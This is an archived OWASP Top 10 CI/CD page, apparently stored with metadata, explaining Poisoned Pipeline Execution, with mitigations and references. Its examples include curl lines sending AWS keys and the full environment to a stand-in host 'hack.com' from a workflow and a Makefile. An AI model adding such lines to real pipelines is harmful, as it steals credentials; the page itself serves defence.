{
	"id": "33af2f18-5504-4f0f-8421-72a6fef8ed65",
	"created_at": "2026-04-06T00:18:46.337155Z",
	"updated_at": "2026-04-10T13:11:45.804441Z",
	"deleted_at": null,
	"sha1_hash": "fd52dabad9116756626ed3d6792dd96cfba04dba",
	"title": "CICD-SEC-4: Poisoned Pipeline Execution (PPE) | OWASP Foundation",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1379120,
	"plain_text": "CICD-SEC-4: Poisoned Pipeline Execution (PPE) | OWASP\r\nFoundation\r\nArchived: 2026-04-05 23:44:21 UTC\r\nDefinition\r\nPoisoned Pipeline Execution (PPE) risks refer to the ability of an attacker with access to source control systems -\r\nand without access to the build environment, to manipulate the build process by injecting malicious\r\ncode/commands into the build pipeline configuration, essentially ‘poisoning’ the pipeline and running malicious\r\ncode as part of the build process.\r\nDescription\r\nThe PPE vector abuses permissions against an SCM repository, in a way that causes a CI pipeline to execute\r\nmalicious commands.\r\nUsers that have permissions to manipulate the CI configuration files, or other files which the CI pipeline job relies\r\non, can modify them to contain malicious commands, ultimately “poisoning” the CI pipeline executing these\r\ncommands.\r\nPipelines executing unreviewed code, for example those which are triggered directly off of pull requests or\r\ncommits to arbitrary repository branches, are more susceptible to PPE. The reason is that these scenarios, by\r\ndesign, contain code which has not undergone any reviews or approvals.\r\nOnce able to execute malicious code within the CI pipeline, the attacker can conduct a wide array of malicious\r\noperations, all within the context of the pipeline’s identity.\r\nThere are three types of PPE:\r\nDirect PPE (D-PPE): In a D-PPE scenario, the attacker modifies the CI config file in a repository they have\r\naccess to, either by pushing the change directly to an unprotected remote branch on the repo, or by submitting a\r\nPR with the change from a branch or a fork. Since the CI pipeline execution is triggered off of the “push” or ”PR”\r\nevents, and the pipeline execution is defined by the commands in the modified CI configuration file, the attacker’s\r\nmalicious commands ultimately run in the build node once the build pipeline is triggered.\r\nIndirect PPE (I-PPE): In certain cases, the possibility of D-PPE is not available to an adversary with access to an\r\nSCM repository:\r\nIf the pipeline is configured to pull the CI configuration file from a separate, protected branch in the same\r\nrepository.\r\nIf the CI configuration file is stored in a separate repository from the source code, without the option for a\r\nuser to directly edit it.\r\nhttps://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nPage 1 of 8\n\nIf the CI build is defined in the CI system itself - instead of in a file stored in the source code.\r\nIn such a scenario, the attacker can still poison the pipeline by injecting malicious code into files referenced by the\r\npipeline configuration file, for example:\r\nmake: Executes commands defined in the “Makefile” file.\r\nScripts referenced from within the pipeline configuration file, which are stored in the same repository as\r\nthe source code itself (e.g. python myscript.py - where myscript.py would be manipulated by the attacker).\r\nCode tests: Testing frameworks running on application code within the build process rely on dedicated\r\nfiles, stored in the same repository as the source code itself. Attackers that are able to manipulate the code\r\nresponsible for testing are then able to run malicious commands inside the build.\r\nAutomatic tools: Linters and security scanners used in the CI, are also commonly reliant on a configuration\r\nfile residing in the repository. Many times these configurations involve loading and running external code\r\nfrom a location defined inside the configuration file.\r\nSo rather than poisoning the pipeline by inserting malicious commands directly into the pipeline definition file, In\r\nI-PPE, an attacker injects malicious code into files referenced by the configuration file. The malicious code is\r\nultimately executed on the pipeline node once the pipeline is triggered and runs the commands declared in the files\r\nin question.\r\nPublic-PPE (3PE): Execution of a PPE attack requires access to the repository hosting the pipeline configuration\r\nfile, or to files it references. In most cases, the permission to do so would be given to organization members -\r\nmainly engineers. Therefore, attackers would typically have to be in possession of an engineer’s permission to the\r\nrepository to execute a direct or indirect PPE attack.\r\nHowever, in some cases poisoning CI pipelines is available to anonymous attackers on the internet: Public\r\nrepositories (for example open source projects) oftentimes allow any user to contribute - usually by creating pull\r\nrequests, suggesting changes to the code. These projects are commonly automatically tested and built using a CI\r\nsolution, in a similar fashion to private projects.\r\nIf the CI pipeline of a public repository runs unreviewed code suggested by anonymous users, it is susceptible to a\r\nPublic PPE attack, or in short - 3PE. This also exposes internal assets, such as secrets of private projects, in cases\r\nwhere the pipeline of the vulnerable public repository runs on the same CI instance as private ones.\r\nExamples\r\nExample 1: Credential theft via Direct-PPE (GitHub Actions)\r\nIn the following example, a GitHub repository is connected with a GitHub Actions workflow that fetches the code,\r\nbuilds it, runs tests, and eventually deploys artifacts to AWS.\r\nWhen new code is pushed to a remote branch in the repository, the code - including the pipeline configuration file\r\n- is fetched by the runner (the workflow node).\r\nname: PIPELINE\r\non: push\r\nhttps://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nPage 2 of 8\n\njobs:\r\n build:\r\n runs-on: ubuntu-latest\r\n steps:\r\n - run: |\r\n echo \"building...\"\r\n echo \"testing...\"\r\n echo \"deploying...\"\r\nIn this scenario, a D-PPE attack would be carried out as follows:\r\n1. An attacker creates a new remote branch in the repository, in which they update the pipeline configuration\r\nfile with malicious commands intended to access AWS credentials scoped to the GitHub organization and\r\nthen to send them to a remote server.\r\nname: PIPELINE\r\non: push\r\njobs:\r\n build:\r\n runs-on: ubuntu-latest\r\n steps:\r\n - env:\r\n ACCESS_KEY: $\r\n SECRET_KEY: $\r\n run: |\r\n curl -d creds=\"$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)\" hack.com\r\n1. Once the update is pushed, this triggers a pipeline which fetches the code from the repository, including the\r\nmalicious pipeline configuration file.\r\n2. The pipeline runs based on the configuration file “poisoned” by the attacker. As per the attacker’s\r\nmalicious commands, AWS credentials stored as repository secrets are loaded into memory.\r\nhttps://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nPage 3 of 8\n\n3. The pipeline proceeds to execute the attacker’s commands which send the AWS credentials to a server\r\ncontrolled by the attacker.\r\n4. The attacker is then able to use the stolen credentials to access the AWS production environment.\r\nExample 2: Credential theft via Indirect-PPE (Jenkins)\r\nThis time, it is a Jenkins pipeline that fetches code from the repository, builds it, runs tests, and eventually deploys\r\nto AWS. In this scenario the pipeline configuration is such that the file describing the pipeline - the Jenkinsfile - is\r\nalways fetched from the main branch in the repository, which is protected. Therefore, the attacker cannot\r\nmanipulate the build definition, meaning that fetching secrets stored on the Jenkins credential store, or running the\r\njob on other nodes are not a possibility.\r\nHowever - this does not mean that the pipeline is risk free;\r\nIn the build stage of the pipeline, AWS credentials are loaded as environment variables, making them available\r\nonly to the commands running in this stage. In the example below, the make command, which is based on the\r\ncontents of Makefile (also stored in the repository), runs as part of this stage.\r\nThe Jenkinsfile:\r\npipeline {\r\n agent any\r\n stages {\r\n stage('build') {\r\n steps {\r\n withAWS(credentials: 'AWS_key', region: 'us-east-1') {\r\n sh 'make build'\r\n sh 'make clean'\r\n }\r\n }\r\n }\r\n stage('test') {\r\n steps {\r\n sh 'go test -v ./...'\r\n...\r\nThe Makefile:\r\nbuild:\r\n echo \"building…\"\r\nclean:\r\n echo \"cleaning…\"\r\nhttps://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nPage 4 of 8\n\nIn this scenario, an I-PPE attack would be carried out as follows:\r\n1. An attacker creates a pull request in the repository, appending malicious commands to the Makefile file.\r\nbuild:\r\n curl -d \"$$(env)\" hack.com\r\nclean:\r\n echo \"cleaning…\"\r\n1. Since the pipeline is configured to be triggered upon any PR against the repo, the Jenkins pipeline is\r\ntriggered, fetching the code from the repository, including the malicious Makefile.\r\n2. The pipeline runs based on the configuration file stored in the main branch. It gets to the build stage, and\r\nloads the AWS credentials into environment variables - as defined in the original Jenkinsfile. Then, it runs\r\nthe make build command, which executes the malicious command that was added into Makefile.\r\n3. The malicious build function defined in the Makefile is executed, sending the AWS credentials to a server\r\ncontrolled by the attacker.\r\n4. The attacker is then able to use the stolen credentials to access the AWS production environment.\r\nImpact\r\nIn a successful PPE attack, attackers execute malicious unreviewed code in the CI. This provides the attacker with\r\nthe same abilities and level of access as the build job, including:\r\nAccess to any secret available to the CI job, such as secrets injected as environment variables or additional\r\nsecrets stored in the CI. Being responsible for building code and deploying artifacts, CI/CD systems\r\ntypically contain dozens of high-value credentials and tokens - such as to a cloud provider, to artifact\r\nregistries, and to the SCM itself.\r\nAccess to external assets the job node has permissions to, such as files stored in the node’s file system, or\r\ncredentials to a cloud environment accessible through the underlying host.\r\nhttps://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nPage 5 of 8\n\nAbility to ship code and artifacts further down the pipeline, in the guise of legitimate code built by the\r\nbuild process.\r\nAbility to access additional hosts and assets in the network/environment of the job node.\r\nRecommendations\r\nPreventing and mitigating the PPE attack vector involves multiple measures spanning across both SCM and CI\r\nsystems:\r\nEnsure that pipelines running unreviewed code are executed on isolated nodes, not exposed to secrets and\r\nsensitive environments.\r\nEvaluate the need for triggering pipelines on public repositories from external contributors. Where\r\npossible, refrain from running pipelines originating from forks, and consider adding controls such as\r\nrequiring manual approval for pipeline execution.\r\nFor sensitive pipelines, for example those that are exposed to secrets, ensure that each branch that is\r\nconfigured to trigger a pipeline in the CI system has a correlating branch protection rule in the SCM.\r\nTo prevent the manipulation of the CI configuration file to run malicious code in the pipeline, each CI\r\nconfiguration file must be reviewed before the pipeline runs. Alternatively, the CI configuration file can be\r\nmanaged in a remote branch, separate from the branch containing the code being built in the pipeline. The\r\nremote branch should be configured as protected.\r\nRemove permissions granted on the SCM repository from users that do not need them.\r\nEach pipeline should only have access to the credentials it needs to fulfill its purpose. The credentials\r\nshould have the minimum required privileges.\r\nReferences\r\n1. Exploiting Continuous Integration and Automated Build systems, DEF CON 25, by Tyler Welton. The talk\r\ncovered exploitation techniques of the Direct-PPE and 3PE attack vectors, targeting pipelines running\r\nunreviewed code.\r\nhttps://www.youtube.com/watch?v=mpUDqo7tIk8\r\n2. PPE - Poisoned Pipeline Execution. Running malicious code in your CI, without access to your CI. By\r\nDaniel Krivelevich and Omer Gil.\r\nhttps://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/\r\n3. Build Pipeline Security, by xssfox. An Indirect-PPE vulnerability was exposed in the CodeBuild pipeline of\r\na website belonging to AWS. This allowed anonymous attackers to modify a script executed by the build\r\nconfiguration file with the creation of a pull request, resulting in the compromise of deployment\r\ncredentials.\r\nhttps://sprocketfox.io/xssfox/2021/02/18/pipeline/\r\n4. GitHub Actions abused to mine cryptocurrency by pull requests that contained malicious code.\r\nhttps://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nPage 6 of 8\n\nhttps://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc\r\n5. A terraform provider for execution of OS commands during run of terraform plan in the pipeline, by\r\nHiroki Suezawa.\r\nhttps://github.com/rung/terraform-provider-cmdexec\r\n6. Abusing the terraform plan command for execution of OS commands in the CI/CD, by Alex Kaskasoli.\r\nhttps://alex.kaskaso.li/post/terraform-plan-rce\r\n7. A vulnerability found in Teleport’s CI implementation, that allowed attackers from the internet to execute a\r\nDirect-3PE attack by creating a pull request in a public GitHub repository linked with a Drone CI pipeline,\r\nand modifying the CI configuration file to execute a malicious pipeline.\r\nhttps://goteleport.com/blog/hack-via-pull-request/\r\n8. Research by Asier Rivera Fernandez showed how a PPE attack against a CI/CD environment including\r\nCodePipeline, CodeBuild and CodeDeploy services in AWS could be executed.\r\nhttps://www.youtube.com/watch?v=McZBcMRxPTA\r\nhttps://www.pwc.be/en/FY21/documents/AWS%20CI_CD%20technical%20article%20-%20v3.pdf\r\nFounders\r\nContributors\r\n \r\nProject Reviewers\r\nIftach Ian Amit (Advisory CSO @ Rapid7)\r\nJonathan Claudius (CISO @ Jump Crypto)\r\nMichael Coates (CEO \u0026 Co-Founder @ Altitude Networks, Former CISO @ Twitter)\r\nJonathan Jaffe (CISO @ Lemonade Insurance)\r\nAdrian Ludwig (Chief Trust Officer @ Atlassian)\r\nTravis McPeak (Head of Product Security @ Databricks)\r\nRon Peled (Founder \u0026 CEO @ ProtectOps, Former CISO @ LivePerson)\r\nhttps://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nPage 7 of 8\n\nTy Sbano (CISO @ Vercel)\r\nAstha Singhal (Director of Application Security @ Netflix)\r\nHiroki Suezawa (Security Engineer @ Mercari, inc.)\r\nTyler Welton (Principal Security Engineer @ Built Technologies, Owner @ Untamed Theory)\r\nTyler Young (Head of Security at Relativity)\r\nOry Segal (Senior Director, Product Management @ Palo Alto Networks)\r\nNoa Ginzbursky (DevOps Engineer @ Cider Security)\r\nAsi Greenholts (Security Researcher @ Cider Security)\r\nGet Involved\r\nGet involved in OWASP Top 10 CI/CD Security Risks!\r\nWe encourage the community - security experts, devops engineers, programmers, and anyone who’s interested - to\r\njoin and contribute. Contact the Project Leaders to get involved, we welcome any type of suggestions and\r\ncomments.\r\nGitHub\r\nThe project is maintained in the Top 10 CI/CD Security Risks GitHub repository.\r\nFeel free to open or solve an issue.\r\nProject Roadmap\r\nInitial release: v1.0, September 2022\r\nProject promotion, additional reviews: October, 2022\r\nStable release: v1.0, October 2022\r\nSource: https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nhttps://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution"
	],
	"report_names": [
		"CICD-SEC-04-Poisoned-Pipeline-Execution"
	],
	"threat_actors": [],
	"ts_created_at": 1775434726,
	"ts_updated_at": 1775826705,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/fd52dabad9116756626ed3d6792dd96cfba04dba.pdf",
		"text": "https://archive.orkl.eu/fd52dabad9116756626ed3d6792dd96cfba04dba.txt",
		"img": "https://archive.orkl.eu/fd52dabad9116756626ed3d6792dd96cfba04dba.jpg"
	}
}